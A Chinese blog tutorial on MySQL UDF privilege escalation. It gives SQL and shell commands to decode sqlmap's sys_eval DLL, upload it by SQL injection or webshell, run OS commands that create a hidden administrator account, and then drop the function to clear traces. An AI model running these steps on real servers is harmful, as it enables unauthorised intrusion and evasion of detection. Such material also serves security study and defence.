MySQL UDF提权

本文详细介绍了MySQL用户自定义函数(UDF)提权的过程,包括查看plugin目录、获取并上传udf.dll文件、创建sys_eval函数、执行提权命令以及清理痕迹。提权过程中涉及的关键步骤如利用sqlmap的cloak.py解码dll文件,通过SQL注入或文件管理工具上传dll,以及使用sys_eval执行系统命令以提升权限。同时,文章列举了sqlmap中udf文件提供的几个关键函数,强调了UDF在安全方面的潜在风险。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

一、UDF 介绍

二、UDF提权步骤

1. 查看存放 udf.dll 的指定目录

2. 在 kali 获取 udf.dll 文件

3. 把 udf.dll 文件上传到指定目录

4. 创建用户自定义函数 sys_eval

5. 执行自定义函数 sys_eval

6. 清除痕迹

三、拓展资料


一、UDF 介绍

UDF 是 Mysql 的一个拓展接口,UDF(Userdefined function) 可翻译为用户自定义函数,是用来拓展 Mysql 的技术手段。

二、UDF提权步骤

1. 查看存放 udf.dll 的指定目录

        使用 sql 语句查看 plugin 目录

select @@plugin_dir;

show variables like 'plugin%';

该目录默认是不存在的,需要我们在 Mysql 的安装路径下创建 lib\plugin 文件夹

2. 在 kali 获取 udf.dll 文件

        使用 kali 系统中 sqlmap 自带的 cloak.py 文件,对 lib_mysqludf_sys.dll_ 文件解码。

cd /usr/share/sqlmap/extra/cloak  # 进入cloak目录
./cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ 
# 解码 lib_mysqludf_sys.dll_ 文件

        此时在 /usr/share/sqlmap/data/udf/mysql/windows/32 目录下,会生成一个 lib_mysqludf_sys.dll 文件,把该文件存在 web 中,方便提取使用。

将文件改名为 udf.dll

3. 把 udf.dll 文件上传到指定目录

        可以通过下列方法将 udf.dll 文件上传到 lib\plugin 目录

利用 sql注入 进行上传 select load_file() into dumpfile “具体路径”。

直接利用 菜刀/蚁剑 拖拽到具体目录下。

4. 创建用户自定义函数 sys_eval

create function sys_eval returns string soname 'udf.dll';
#sys_eval是函数名称,udf.dll是lib_mysqludf_sys.dll_上传后的文件名
select * from mysql.func where name = 'sys_eval';
#查看函数是否存在,验证创建

5. 执行自定义函数 sys_eval

        通过自定义函数创建用户,并将用户提升为 administrators 组的用户

select sys_eval("net user username password /add");
# 创建新用户,用户名为 username 密码为 password
select sys_eval("net localGroup administrators username /add")
# 将新用户 username 加入管理员组

6. 清除痕迹

        删除自定义函数,清除痕迹

drop function sys_eval;

三、拓展资料

sqlmap中的udf文件提供的函数:

sys_eval,执行任意命令,并将输出返回。

sys_exec,执行任意命令,并将退出码返回。

sys_get,获取一个环境变量。

sys_set,创建或修改一个环境变量。

 参考文章

MySQL UDF提权_小水池-优快云博客_udf提权

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值